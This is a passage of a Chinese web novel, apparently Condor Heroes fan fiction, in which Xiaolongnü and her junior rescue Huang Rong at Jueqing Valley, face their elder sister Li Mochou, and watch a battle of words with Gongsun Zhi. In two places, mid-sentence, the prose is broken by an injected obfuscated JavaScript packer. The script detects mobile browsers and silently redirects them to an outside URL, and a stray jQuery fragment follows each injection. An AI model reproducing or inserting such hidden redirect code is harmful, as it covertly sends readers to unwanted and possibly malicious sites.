师姐离开的痛,师父离世的痛,孙婆婆瞑目时心中不真实的空白,都曾经压在小童子心里。可后来她和小龙女一起练功,一起睡寒冰床,一起研究新武学,一起饿肚子、下山买米、学洗菜煮粥,日子被规律的日常填满,李莫愁这个名字,便慢慢沉到了很深的地方。 可此刻,这个人忽然又出现在绝情谷的花影里。拂尘飞扬,眉目熟悉,笑意却陌生。 小童子看着她,眼里已没有小时候的亲近,也没有从前被抛下时的委屈。只有一瞬间的空,像旧伤早已结痂,却忽然被人轻轻碰了一下。 小龙女垂在身侧的手轻轻牵住她,手指伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17839086|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 入进对方的指间。 那一点柔软的暖意贴在小童子掌心,小童子回过神来,方才心中残留的异样便慢慢散了。 李莫愁似乎也察觉到了什么,她拂尘卷开一名绝情谷弟子的长刀,忽然抬头,目光穿过花枝,正好落在树上的两道白影上。 她先是一怔,随即笑了。那笑容比花林里的香气更浓,也更刺人:“哟。” 李莫愁声音扬起:“我当是谁,原来是两位好师妹。” 黄蓉听到这话,猛地抬头,她看见小龙女和小童子,眼中先是一亮,随即又有些错愕。 错愕的不是她们来了,而是李莫愁方才那句“好师妹”。李莫愁竟是她们的师姐? 黄蓉心念转得极快,几乎立刻想到李莫愁一身武功确实和古墓派的数路有些相似。原先散落的几处疑点,竟在这一刻隐隐连成一线。 杨过也看见了她们,他脸色变了变,一时竟不知该喜还是该恼。 绝情谷的人却不认识她们,忽见树上多了两个白衣少年,竟没人察觉她们是几时来的,身法轻得几乎不像凡人,立刻有人喝道:“什么人?” 小童子没有回答,她想出手,但低头看了看下方那些花木与刺藤,皱了皱眉:“龙儿,下面刺太多了。” 不知为何,小龙女觉得小童子这句话软乎乎地,有种撒娇的味道,心中一软:“那就别落地。” 小童子点头:“好。” 陆青这时才气喘吁吁追到花林外,抬头看见两位姑娘站在树上说话,又看见地上一群高手混战,他几乎想立刻转身回陆家庄。 可他还没来得及退,小童子已经动了。 她从树枝上一掠而下,不落地,足尖点过一片花瓣,又点过一根横出的藤蔓。那藤蔓满是倒刺,可她踩的地方偏偏是两刺之间极小的一点空隙。白衣掠过,衣角没有被勾破半分。 小龙女随她而下,她更轻,像一缕丝绒从花影里落下,又在落地前被风吹向前方。 两人一左一右,直接落入混战中心。 黄蓉只觉眼前白影一晃,逼向自己肩头的一柄长刀忽然偏开。小童子的剑鞘敲在那人手腕上,那人痛呼一声,长刀脱手。 另一边,小龙女袖中剑光一现,冷冷点在一名绝情谷弟子咽喉前。 那人僵住,小龙女没有杀他,只是道:“退。” 黄蓉终于松了一口气:“你们怎么来了?” 小童子看她一眼:“你求救,我们就来了。” 黄蓉一愣。 小龙女道:“你教我们做饭,恩情要还。” 黄蓉一时竟不知道该笑,还是该感动。她张了张口,最后只道:“好,先活着出去再说。” 李莫愁站在不远处,看着小童子和小龙女护在黄蓉身前,眼里的笑意慢慢深了些:“童儿,龙儿。” 她轻轻叫她们的名字,像从前在古墓里一样。小童子转头向李莫愁,小龙女也看她。 花林里风声忽然静了一瞬。 李莫愁笑道:“这么多年不见,见了师姐,也不问声好吗?” 小童子沉默片刻:“师姐。” 她叫了一声,声音很平,不冷,也不热。 李莫愁的笑意微微一顿,那一瞬间,她明白,不仅她不再是古墓里的李莫愁,小童子也不是她记忆中的小孩子。 小童子看着她,又道:“你好吗?” 李莫愁还没答,绝情谷的人已经重新围了上来。花影摇晃,刀剑寒光从四面逼近。 小龙女收回看向李莫愁的目光,道:“先打。” 小童子点头,她拔剑出鞘,白光一闪。 绝情谷满是花香与湿热的空气里,忽然多了一道冷意。 混战重新开始。 59.恨意 所有人都以为混战会重新开始。 绝情谷的人举起奇怪的武器,李莫愁的拂尘微微扬起,黄蓉也暗暗扣紧打狗棒,心里同时提防两边。 黄蓉知道李莫愁狠辣,知道绝情谷武器怪异难料,也知道小龙女和小童子武功高,可越是这样,局面越乱。三方混战,最怕的不是谁武功最高,是每个人都觉得自己还能从乱局里取利。 可下一瞬,乱局没有来。 小童子和小龙女心意相通,连一个明显的起势都没有,衣袂轻轻一动,彼此已知该从何处破局。 白影一晃,像花林里忽然掠过两道雪光。 最前方一名绝情谷弟子只觉手腕一麻,手中长刀已经不见。他还没来得及惊呼,身旁同伴的剑也脱手飞起。第三人的网状武器刚要撒出,网柄被小童子剑鞘一点,那人虎口一震,整张网反卷回去,缠住了自己人。 小龙女从另一侧掠过,她的身法极轻,轻得听不见声响。 她袖中剑光一闪,另外几名绝情谷弟子只觉兵刃一轻,掌中便空了。她并不伤人,只点腕、截肘、挑指,力道精准,不浪费一分也不少一分。那些人明明看见她来了,却不知道她到底从何处下手。 有人惊恐后退,有人生气怒喝,有人改用暗器,可手刚动,武器便又空了。 黄蓉眼前白影一过,逼向她肩头的一柄短剑被小童子挑走。刺向杨过胸前的一杆长枪被小龙女两指夹住枪尖,轻轻一拧,枪身便从主人手里旋飞出去。 “什么?” “我的刀!” “我的枪!” “拦住她们!” 喊声刚起,又戛然而止,因为根本拦不住。 她们不是在和众人拆招,她们像是在收拾一间乱了的屋子。刀、剑、枪、网、暗器,凡是会让场面继续乱下去的东西,都被她们一件一件取走。 李莫愁察觉事情和预想的不一样,她的拂尘刚扬起一半,小童子的身影已到她面前。 太快了,快得不像她上次见的小童子。 李莫愁手腕一抖,拂尘银丝暴涨,向小童子脸卷去。若换作旁人,这一下不退便要伤。可小童子不退,她肩头微不可察地动了一下。 李莫愁只觉拂尘前端像被什么看不见的利物一截,不是被剑砍断,也不是被掌风震开,银丝忽然就偏了方向。 就在她这一怔之间,小童子已经从正面近身,指尖点在她腕骨下三分。那一点冰凉,像一枚细针刺进骨缝。 李莫愁手指一麻,拂尘脱手,她脸色骤变,左手立刻摸向袖中冰魄银针。 小龙女在远处一个转身,一点锋芒从肩上飞出。 李莫愁袖口几枚银针刚从袖中弹出,却没有按既定轨迹飞去,反而被一股看不见的力道撞偏,叮叮几声落在石地上。 李莫愁瞳孔一缩,这是什么? 她还没想明白,小童子顺势接住她脱手的拂尘,手腕一扬,将它抛向半空。 与此同时,花林中所有被夺下来的兵刃也接连飞起。拂尘、暗器囊、短剑、箭矢,一件件兵器在空中划过弧线。 众人本能抬头,小童子和小龙女同时动用无形剑。 那些兵器便像被看不见的手推了一把,齐齐越过花林,飞向旁边深谷。 山谷很深,雾气从下方升上来,看不见底。兵器落下去,先是几声碰撞,然后越来越远,最后只剩一点模糊回响。 叮!当!哐! 最后连声音也没了,花林里安静下来。 这安静比方才的混战更叫人心惊。 绝情谷众人呆立原地,双手空空。有人还保持着挥刀姿势,有人掌心仍在发麻,有人低头看自己腰间,像是不敢相信兵刃真的没了。 杨过也愣住,他知道小龙女和小童子厉害。在古墓时,他就觉得她们像天上的仙人,可那时候他只是个被全真教欺负、满身泥土、不懂武功的小孩。后来看见她们在陆家庄与郭靖交手,他心里也有过震动。可真正在打斗中体验她们一瞬间截下满场兵刃,他才明白,这种厉害到底是多么惊人。 黄蓉握着打狗棒,眼神变了,她前不久才见过小龙女和小童子出手。陆家庄那一战,黄蓉当时看得清楚,小童子善变,小龙女极轻,二人合璧时像一张网,武学悟性高得近乎可怕。 可此刻再见,她俩又不一样了。可究竟哪里不一样,黄蓉一时竟说不上来。 不是招式更多,也不只是内力单纯更厚。 她俩太快,快得连她也只能捕捉到一点影子。功夫数路太怪,怪得不像她见过的任何一种武学招式。 黄蓉眼力极厉害,这次却不敢说自己看清了门道。她只能确定一件事:若方才那几道看不清的劲力不是去截兵器,而是去取人的咽喉、眼睛,在场至少已经倒下一大片。 她心中暗暗发寒,这突破太快,太强,太怪。 寻常人武功增长,总有迹可循。内力更深,招式更熟,临敌更老辣。可小龙女和小童子的变化像是横空出世,寻不到一点地基的轨迹。 李莫愁也看出来了,只是她看见的,与黄蓉看见的并不一样。 她看见小龙女和小童子一瞬间夺走全场兵器,看见自己的拂尘轻而易举落入小童子手中,看见冰魄银针便被迫偏离轨道。 看见两人神情淡淡立在花影里,像方才做的不是什么惊世骇俗之事,只是把乱放的东西收走。 李莫愁心里那根旧刺,猛地扎得更深。 玉女心经!一定是玉女心经!这就是师父当年不肯传给她的武功。 这就是她要而不得、求而不得、恨了多年的东西。 她离开古墓以后,日日夜夜都在想,若当年师父肯把玉女心经传给自己,她又何至于走到今日?她在江湖上杀人,在风雨里奔走,在情爱与恨意里翻滚,越走越远,越远越恨。 如今小龙女和小童子站在她面前,一个清冷如旧,一个眉眼冷淡。 她们武功高得叫人心惊,李莫愁便更恨,恨师父偏心,恨这两个师妹得了她得不到的一切。 她却不知道,小龙女和小童子方才用的,并不只是玉女心经。 玉女心经只是底子,真正让她们走到这一步的,是小童子和小龙女没日没夜一同琢磨出的新招式。 是寒冰床上千万次熟悉彼此的内力运行,是掌心相渡的千万次切磋,是小童子一次次换招探路,是小龙女一次次谨记细微的变化,一点一滴长出来的无形剑。 李莫愁更不知道的是,在许多年前,在无形剑仅仅只是个理论时,小童子和小龙女就想把这门武功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842954|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 献给她。 她们想过,师姐没有玉女心经,那便把她们想出来的更厉害的秘诀教给师姐。这样哪怕没有玉女心经,师姐或许也会开心。 只是李莫愁闯墓那时说不要,她只听见“玉女心经不能给”,于是她就走了。 如今,她站在绝情谷花林里,看着这门本有机会与她相关的武功,眼中只有误会。 小童子没有看懂她眼底那些翻涌的东西,或者说,她已经不想去看懂了。 从前她总想揣摩师姐为什么生气,为什么站在墓门前看外面,为什么不高兴,为什么想要走。她会抱住李莫愁的大腿,故意惹她生气,以为师姐生气了,就会忘记想要离开的念头。 可那是很久以前的事情了,久到她和小龙女已经从孩童长成成人,久到她俩经历过师父和孙婆婆的离世,久到小童子早已接受师姐不会回古墓。 现在李莫愁生气,小童子仍能察觉,可她不再觉得自己必须让师姐不生气。 花林里,绝情谷众人终于从震惊中回过神。 一名中年男子厉声道:“你们究竟是什么人?敢在绝情谷放肆!” 小童子看向他:“我们来救黄蓉。” 那人怒道:“绝情谷岂是你们想来便来、想走便走的地方!” 小龙女接道:“我们已经来了,等会也会走。” 黄蓉差点笑出来,她实在不该在这拔剑弩张的场合笑,可这两个人说话,永远有一种把旁人气死而不自知的本事。 李莫愁忽然冷笑:“好本事。” 她看了看小童子,又转头看向小龙女:“师父果然疼你们,这样的武功,也只肯传给你们。” 小童子皱了皱眉,她想解释,这不是师父传的,这是她和龙儿一起想出来的。 可话到嘴边,她又想起上次在古墓中见面,李莫愁不信她俩一句话,现在大约也不会信。 小龙女看了小童子一眼,那一眼很轻。 小童子却很明白,龙儿担心她。她伸手牵住小龙女,手掌相触,内力交汇,平静稳定的内力告知对方,她没有一丝难过。 小龙女心安,拇指轻轻抚摸小童子的手背。 小童子勾唇一笑,看向李莫愁:“师姐,你的拂尘掉下去了。” 李莫愁脸色一僵,没想到小童子长大后更气人。洪凌波站在她身后,紧张得连呼吸都轻了。 黄蓉终于还是忍不住,唇角微微动了一下。 绝情谷的人却笑不出来,前方两人的武力如此诡异,而他们连兵器都没了。 小龙女问黄蓉:“走吗?” 黄蓉把打狗棒支在地面,缓缓吐出一口气:“恐怕还不能,还有几位朋友被关在绝情谷里面。” 小童子和小龙女看向谷中深处,花木重重,刺藤交错,不知道里面会有什么凶险。 两人却没有犹豫,齐声道:“那就去救人。” 李莫愁站在花影里,看着两个师妹轻松地和黄蓉交流,仿佛自己这个师姐、绝情谷的人,如同挡路的枝叶,毫无威胁。 她心中的恨意更深,也更冷。 可小童子和小龙女已经转身离开,她们护着黄蓉,沿着花林深处走去。 白衣掠过刺藤,藤条轻轻荡漾开去,没有勾住一丝一线。 60.嘴巴打架 花林里一时只剩风声,刺藤轻轻摇晃,细小白花落在地上,像一层碎雪。 黄蓉走得不快,并非受了外伤,只是有孕在身,方才动了些胎气。小童子和小龙女一左一右护着她,杨过跟在旁边,神色复杂,时不时看向两人,又很快移开目光。 李莫愁没有走,她带着洪凌波坠在后头,不远不近,像是同行,又像随时都会抽身离去。 绝情谷的人分成了两拨,一拨飞快往谷内奔去,显然是去报信;另一拨则远远跟着黄蓉她们,他们不敢靠近,也不敢离开。 他们隔着十几丈距离,借花木与廊柱遮掩身形,像一群被惊过的鸟,不敢扑上来,却又舍不得飞远。 小童子回头看了一眼:“他们还跟着。” 黄蓉听见,忍不住低声道:“打不过,便监视。” 小童子皱眉:“真麻烦。” 黄蓉道:“江湖上很多事都麻烦。” 小龙女在一旁认真道:“古墓好,没有这些麻烦。” 李莫愁听见这话,眼神微微一动。 回想从前她只觉得古墓冷还闷,每日死气沉沉,像一座关人的监狱。她离开那里以后,去过许多地方,见过灯火、酒肆、春风与红尘,与那座古墓完全不同。 可此刻听小龙女这样平平淡淡说“古墓好”,她心里竟像被什么轻轻刺了一下。 她很快又冷笑起来,古墓好?若真那么好,她当年何至于离开? 一行人穿过花林,眼前景色忽然开阔。 绝情谷深处竟有一片屋舍,依山而建,层层叠叠,飞檐半掩在花树之间。廊下挂着红灯,门楣贴着喜字,庭院里铺着猩红毡毯,远远望去,喜气浓得刺眼。 谷中花木开得正盛,白的、粉的,被满院红绸一压,反倒显出几分说不出的妖异。风一吹,红绸在廊下翻卷,像一场喜事还未开始,便已先露出血色。 小童子看了一会儿:“这里是过年还是死人了?” 黄蓉一怔:“都不是。” 小龙女也看着那些红绸:“像流血。” 黄蓉和杨过都被两人噎了一下,最后还是黄蓉道:“这是成亲。” 小童子想起山下大娘说过关于成亲的话,她转头看向小龙女。 小龙女也看向她,两人都觉得这地方不太像成亲。 太红、太艳,像血。 院中果然正在布置婚礼,绝情谷弟子来回穿梭,有人摆酒案,有人整理红烛,有人交接事务。大堂正中悬着红绸,案上点着龙凤喜烛。烛泪一滴滴往下落,凝在烛身上,像半透明的红泪。 堂中上首坐着一个中年男子,面容俊美,却带着一种阴冷神色。他身着喜服,腰间束着玉带,神色不怒自威。 堂侧绑着几个人,被人按在酒席上。 其中一个女子衣衫狼狈,眼神却倔得很。杨过一见她,脸色立刻变了:“无双!” 那女子抬头,见到杨过,眼中一亮,又立刻急道:“杨大哥,你怎么又来了?” 杨过握紧拳,按捺住想要冲上前救人的心思。 黄蓉低声对小童子和小龙女道:“她是杨过的朋友,陆无双。” 黄蓉又看向另一侧,那里还有两三个人也被绑着,或坐或靠,面色发白,显然受了伤。 黄蓉眼神微沉,低声道:“那几位是我的朋友。” 小童子看了一眼:“都救?” 黄蓉道:“对,都要救。” 小龙女松开小童子的手,一手扶住剑鞘,一手按上剑柄:“那就打。” 黄蓉立刻抬手拦住她:“不能直接打。” 小童子和小龙女一脸不解看向黄蓉。 黄蓉把声音压得很低:“绝情谷里的草木多带毒,尤其是情花,扎人之后毒性古怪。我的朋友、陆无双、杨过都中了毒,我看过所有人的脸色与气息,你们师姐多半也中了毒。” 小童子和小龙女一怔,回头看李莫愁。 李莫愁脸色微微一变,冷声道:“看我做什么?” 小童子道:“你中毒了?” 李莫愁咬牙:“用不着你管。” 洪凌波忙扶了扶她,低声道:“师父……” 李莫愁烦躁地甩开她的手。 黄蓉没有理会李莫愁的逞强,继续道:“毒若不解,轻则发作难忍,重则性命难保。解药多半在谷主手里,或藏在谷中深处。若我们此刻动手,把人打急了,他只要一句‘死也不给解药’,这里许多人都要陪葬。” 小童子和小龙女沉默,人中毒,就要解药。但解药在人家手里,这件事就变得很麻烦。 小童子皱眉:“不能抢?” 黄蓉道:“抢得到最好,可若抢错了呢?若解药不在他身上呢?若他死前毁了解药呢?若他有别的机关暗手呢?” 小童子越听眉头皱得越紧:“外面果然麻烦。” 小龙女问黄蓉:“那不打,又怎么获得解药?” 黄蓉轻声道:“先别急,我来同他说话,试试看能不能探出解药在哪里。” 小童子道:“说话就能知道?” 黄蓉道:“有时候能。” 小童子和小龙女不太信,她们在古墓里遇到事情,多半是打一架,现在却要靠说话拿解药,这事在她们看来很不合理。 堂上,公孙止早已看见她们进来,方才外头弟子也仓皇来报,说谷中又来了两位白衣少年,一瞬间夺了众人兵器,武功深不可测。 公孙止原本不大信,可如今亲眼看见那两人走进来,他又不得不信了几分。 他目光先落在黄蓉身上,又落在小龙女与小童子身上,眼底掠过一丝惊艳,随即又被谨慎压住。 那一点惊艳虽然很快消失,小童子却看见了。她说不清那是什么眼神,只觉得不舒服。 她再次伸手牵住小龙女,往旁边挪了半步,正好挡在小龙女身前,把公孙止的视线隔开,那动作很轻,却没有半分迟疑。 公孙止眼神微微一顿,内心泛起不悦。 黄蓉上前一步,微微一笑:“公孙谷主,好大的喜事。” 公孙止也笑:“郭夫人不请自来,还带了这么多客人,倒叫敝谷蓬荜生辉。” 黄蓉道:“谷主客气,贵谷风景美得难得一见,今日又遇上谷中喜事,真是喜上加喜。只是谷中规矩未免奇怪,来客进谷,竟还要被绑着观礼。” 公孙止笑意不变:“谷中近日有婚事,闲杂人等擅闯,自然要先安置起来,免得惊扰旁人。” 黄蓉道:“安置得绳子都捆上了?” 公孙止道:“谷中草木多毒,在下也是怕诸位乱走受伤。” 黄蓉轻轻一叹:“谷主体贴得很。” “郭夫人过奖。” 两人说话都带笑,可堂中众人都听得出来,这不是客套,是笑里藏刀。 小童子站在黄蓉身后,听了几句,眼神慢慢变得茫然。她掌心轻轻送出一缕内力,小龙女立时从相贴的掌心感受到了。 小童子:“怎么他们又开始用嘴巴打架了?” 小龙女眼睫微动,她的内力轻轻回了一下:“外面的人打架前必要的仪式。” 两人脸上神色都很平静,旁人只见她们站在那里,一个清冷,一个淡漠,像是认真听人交流。 李莫愁却看见了不一样的,她太熟悉她们。哪怕十年过去,小童子眼角极轻的一点变化,小龙女掌心极淡的一点回应,她都能察觉到不对。 她们在交流,在所有人都不知道的情况下交流。 李莫愁不知道她们是怎么做到的,传音入密?不像。眼神暗号?也不是。 她们只是牵着手,便像在所有人都听不见的地方说完了好几句话。 李莫愁越看越生气。 从前小童子有什么心思,总要绕到她跟前来。哭也好,闹也好,抱着她大腿不放也好,总归是要她看见、要她知道。小龙女更冷些,可那双眼睛偶尔也会追着她走。 可如今她们只是牵着手,便像隔出了一方旁人进不去的天地。没有话,没有眼神,甚至没有多余的动作,却更刺眼。 李莫愁胸口忽然一阵发闷,那不是情花毒。 情花毒要人想起情爱,越想越疼,越念越苦。可她此刻想不起什么旧情旧恨,满脑子只有小童子与小龙女交握在一起的手。她们怎么能?她们怎么会?她们又是什么时候,竟把她隔在了外头? 旧日师姐妹间那点情谊,分明早被她亲手丢弃。可如今亲眼看见两个师妹当真不再回头、不再在乎她,又亲密得容不下她半分,她才蓦地觉出疼来。 那份被她弃如敝履的亲近,如今换了人,成了她跨不进去的界限,也成了一根倒刺,扎进她心里。 偏偏也正因为这股气占满心神,她竟暂时忘了别的情爱,反倒免了情花毒发作之苦。 洪凌波站在旁边,小心翼翼道:“师父,你脸色不好。” 李莫愁冷冷道:“闭嘴。” 洪凌波立刻闭嘴,不敢再 吱声。 那边黄蓉与公孙止仍在打哈哈。 黄蓉道:“谷主今日成亲,想必心情极好。既然如此,不如做件善事,把我那几位朋友放了,也算给这场喜事添个吉利。” 公孙止道:“郭夫人说笑了,既是朋友,便该好好劝他们守礼。擅闯敝谷,又搅扰婚礼,若不略加管束,岂不是人人都能欺到绝情谷头上?” 黄蓉道:“谷主说管束,我倒想问问,管束人需要下毒吗?” 公孙止眼神微微一沉:“谷中花木自有毒性,是他们自己不慎受伤,沾染上了毒性。” 黄蓉笑道:“如此说来,谷主该赔礼才是。客人在你家被花扎伤,主人家不拿解药,反而怪客人走路不小心,天下哪有这样的待客之道?” 公孙止道:“郭夫人巧舌如簧,在下久闻大名。只是绝情谷不比丐帮,也不比襄阳城。这里的规矩,由我说了算。” 黄蓉道:“规矩若能救人,自然是好规矩。规矩若只会害人,那便不是规矩,是恶法。” 公孙止笑意终于淡了一点:“郭夫人是在教训我?” 黄蓉依旧笑脸相迎:“不敢,我只是怕谷主今日大婚,血光太重,不吉利。” 小童子听到这里,牵着小龙女的手又轻轻一动:“黄蓉的嘴巴很厉害,一点都不落下风。” 小龙女也回一道内力:“确实如此,她说话就像我们出剑一样,能把人说疼。” 公孙止的目光又往小龙女身上一掠,话题一转:“郭夫人带来的这两位少年,可是家中亲侄?” 那一眼停得极短,却没有逃过黄蓉的眼睛。 黄蓉心中微冷,面上笑意却不减:“谷主想见识?” 公孙止笑道:“方才听弟子说,两位少年武功极高,竟能一瞬夺人兵器。在下可听过不少郭大侠与黄帮主的英雄事迹,想必这两位后生也是和你们大有关联吧?” 小童子和小龙女看了两人一眼,不知道为何话题绕到了她们身上。 黄蓉面色不改,含笑道:“这两个小后生,是我爹爹新近收下的徒儿。她们年纪尚小,又久居桃花岛,少在江湖上行走,不大懂外头的规矩。此番我带她们出来,正是要送回爹爹身边。爹爹素来疼惜这两个孩子,若有失礼之处,还望谷主多多担待。” 公孙止闻言,眼神微闪。黄药师喜爱的徒弟,还不懂江湖规矩,这很麻烦。懂规矩的人,能谈条件能被忽悠。不懂规矩却武功极高的人,最难控制。 小龙女和小童子皱眉,她们可不是黄蓉父亲的徒弟。 小童子内力询问:“为什么黄蓉要说谎?” 小龙女想了想,回了一缕内力:“大约是沈长风说过的道理,不愿旁人知道我们的来历,便不必照实回答。她是在替我们遮掩。” 小童子觉得有道理,冲小龙女点点头。 李莫愁看着这一幕,又气得胸口一堵,她脸色白了一瞬。 洪凌波吓了一跳,想扶又不敢扶。 李莫愁咬牙切齿,她不想在小童子和小龙女面前露出半分狼狈。 李莫愁忽然更恨古墓,还恨童龙两人。她自己在外十年如此痛苦,她俩在古墓那个死地方,居然活得如此潇洒。 堂中红烛烧了一节,烛泪顺着蜡身往下淌,映得满堂喜色越发刺目。 黄蓉看着红烛,微微一笑,继续道:“谷主既然今日成亲,不如先让新娘子出来?我们这些不请自来的客人,总该见见新娘,道一声恭喜。” 公孙止的脸色终于沉了下来:“郭夫人管得太多了。” 他今日原本只想顺顺当当地拜堂成亲,享一场谷主该有的喜事。 可小龙女站在满堂红烛之间,像一抹不沾尘的雪,叫他一眼看见,便很难再想起原本的新娘。 黄蓉偏在这时问新娘子在何处,就像被戳破心事一样,叫他难堪。 黄蓉道:“我向来如此。” 小童子又轻轻传给小龙女一道内力:“她又赢了一点。” 小龙女轻笑回:“嗯,你说的对。” 李莫愁闭了闭眼,告诉自己别看了。可再睁开眼时,目光仍旧落在那两只始终牵在一起的手上。 她忽然想起很久以前,小童子也曾这样伸手来碰她。那时候小童子还很小,经常被她欺负,被她惹哭,却还是会跌跌撞撞地凑过来。 如今那只手长大了,却不再伸向她了。 李莫愁心口微微一疼。她咬紧牙,几乎是恼恨地想:原来她也会后悔。 61.回去就洞房 黄蓉和公孙止还在唇枪舌剑。 两人你来我往,话里藏针,针里又藏钩。黄蓉说一句,公孙止挡一句;公孙止绕一圈,黄蓉又轻轻挑回来。旁人听得心神紧绷,生怕哪句话落错,便惹出杀机。 小童子却听得越来越没耐心,神思涣散,眼神不由自主地往四周游移。 她的目光先飘到堂前,又顺着穿堂而过的谷风飘到堂后。大堂坐北朝南,风从这一头穿到那一头,吹得四周烛光摇曳不定。鲜红的烛泪沿着烛身缓缓淌下,堂上一排排红灯笼高高悬着,灯笼下垂着长长的红绸。 红绸随风飘动,如水中浮萍,起伏不定。窗上贴着大红双喜字,桌上铺着猩红锦布,烛火一摇,那些红便跟着晃,像水面上一层层不安分的血光。 满屋子的红色一层压着一层,越看越晃眼,越看越叫人不舒服。 更叫她不舒服的,是堂中那些绝情谷弟子的站位。 那些人也系着红绸,或站在柱旁,或守在门边,或散在宾客之后。乍看是为喜事忙碌,细看却各自占住了进退的要处。有人垂着眼,有人低着头,脸上都没什么喜色,手却离腰间兵刃很近。 小童子不懂喜堂该是什么样,却知道若是高兴,人的肩背不会绷得这样紧。 黄蓉和公孙止还在说话,小童子却已经听不进去。她忍了又忍,终于还是没忍住,抬头问:“为什么要那么多红红的东西?” 她一开口,堂中所有人的目光都转了过来。 小童子却不觉得自己问得突兀,黄蓉和公孙止绕来绕去说了半晌,她早已听得头疼;她不懂这些红色为何铺得到处都是,既然不懂,便问出来。 她看了看梁上的红绸,又看了看案上的红烛,皱眉:“成亲为什么要弄得满堂像被血洗过?” 堂中忽然一静,红烛火苗轻轻一晃,公孙止眼皮也跟着跳了一下。 他方才一直暗中观察小龙女和小童子,并未看出两人武功底细。两人除了神色自若,不像其他人暗藏谨慎之意,实在和十几岁的少年无甚区别。 可手下传言说两人武功高强,绝非寻常少年。如今其中一个忽然当众说喜堂像血,又偏偏是在看过满堂红绸、红衣弟子之后开口,公孙止哪里还能只当他是不懂礼数? 他这是看出了什么?还是故意借这句话警告他,若他再逼下去,今日喜堂便要真见血? 公孙止越想,脸色越沉,眼眸里也压出几分怒意:“阁下是在威胁我吗?” “什么?”小童子一怔,她仅仅是疑惑,什么时候威胁对方了? 公孙止冷冷道:“今日是我绝情谷喜事,阁下说满堂红色像血,不是威胁,又是什么?” 小童子更茫然了,她不明白自己哪里像在威胁人,便下意识看向小龙女。两人一直牵着手,掌心相贴处有一缕内力轻轻碰了碰,像是在问:“我威胁了吗?” 小龙女回了一缕内力,平平静静地答:“没有,你只是问话。” 这一问一答不过转瞬,旁人只见她们对视一眼,脸上仍旧淡淡的,不见惊慌,也不见心虚。 黄蓉知道小童子不是威胁,她是真的不懂。 世俗礼节、人情弯绕、喜庆忌讳,在她眼里大概都没有概念。一个生活在古墓十几年,连洗菜做饭都是最近才学会的人,又怎会懂得各种繁复的习俗呢? 黄蓉便笑着打圆场:“谷主误会了。她自幼不在俗世里长大,不懂各种门道。她看见红色像血,便真的只是觉得像血,不是另有深意。” “是啊。”小童子点头,又补一句:“真的很像。” 黄蓉:“……” 公孙止脸色更难看了些。 黄蓉忙道:“婚礼多用红色,是礼节,也是习俗。绝大多数人家成亲,都会披红挂彩,图个喜庆。” 小童子听到“成亲”,眼睛动了动,没忍住问:“成亲是娶吗?” 黄蓉看了小童子一眼,她忽然有一点不妙的预感:“差不多。” 小童子有些高兴地说:“那我懂成亲,就是一起生活、一起吃饭、睡觉、牵手。” 李莫愁的眼神却微妙起来,她看着小童子和小龙女,又看了看两人牵着的手,忽然觉得心里那股气都被这句话打歪了半寸。 公孙止也看向两人牵着的手,他的眼神第一次变得不太一样,有些凝重起来。 黄蓉斟酌着道:“世俗里说娶,需有婚礼、媒妁、拜堂。” “拜堂?”小童子和小龙女皱眉,这是一个新词。 杨过在旁边忍不住插嘴:“拜堂就是成亲时拜天地,拜高堂,夫妻对拜。拜完堂之后,还有洞房。” “洞房?”小童子看向小龙女,小龙女眼里也是疑惑,两人第一次听这个词。 两人虽然都不懂这个词,但她们听懂了一件事。娶,不只是一起生活,还要拜堂,拜堂后还要洞房。 小童子认真想了想,忽然道:“那我和龙儿虽然互相娶了,但还没有拜堂和洞房。” 堂中又一次安静下来,连红烛燃烧的细微噼啪声都听得分明。 小龙女接着小童子的话,道:“要补回来。” 黄蓉:“……” 杨过:“……” 洪凌波:“……” 李莫愁先是怔住,然后她看着小童子那一脸认真,又看小龙女那一脸平静,终于没忍住笑了。 一开始只是唇角一动,很快便笑出了声:“哈哈哈……” 李莫愁笑得形象没了也顾不上,笑声在满堂红绸间回荡,竟把方才那点拔剑弩张的气氛压了下去。 她知道小童子从小就常常语出惊人,师父罚她,她也能一边哭一边认真说“明天继续打”。小龙女也不比她像常人多少,小时候被逗急了,不哭不闹,只会一本正经地看过来,问她:“师姐这样做,是想叫我不高兴吗?” 李莫愁从前最爱逗她们,一个问什么都直来直去,一个答什么都认真得叫人接不住。如今以为她们长大了,心冷了,那些旧日里叫人哭笑不得的模样总该少些。 没想到小时候那些话,和如今比起来,竟只是小巫见大巫。 李莫愁笑得眼角都带了点水意,也不知道是笑的,还是别的什么。 小童子和小龙女被她笑得更茫然,两人看看李莫愁,又眨着迷茫的双眼互相对视。 洪凌波站在一旁,想笑又不敢笑,只能低头把嘴角死死压住。两位师叔行事如此惊世骇俗,她这个做晚辈的实在不敢多看。 杨过震惊得像被雷劈过一样,他看看小童子,又看看小龙女,这两人……居然是那样的关系? 他原以为自己已见过不少离奇古怪的人和事,可如今听小童子和小龙女这样说,才知道自己见识还是太浅。 黄蓉也怔了一怔,目光落在小龙女和小童子交握的手上,许多先前被她轻轻放过的细节,忽然一件件浮了上来。 这两人从见面起便总牵着手,吃饭时互相夹菜,安慰时脸贴着脸,仿佛世间 再没有谁能插进她们中间。 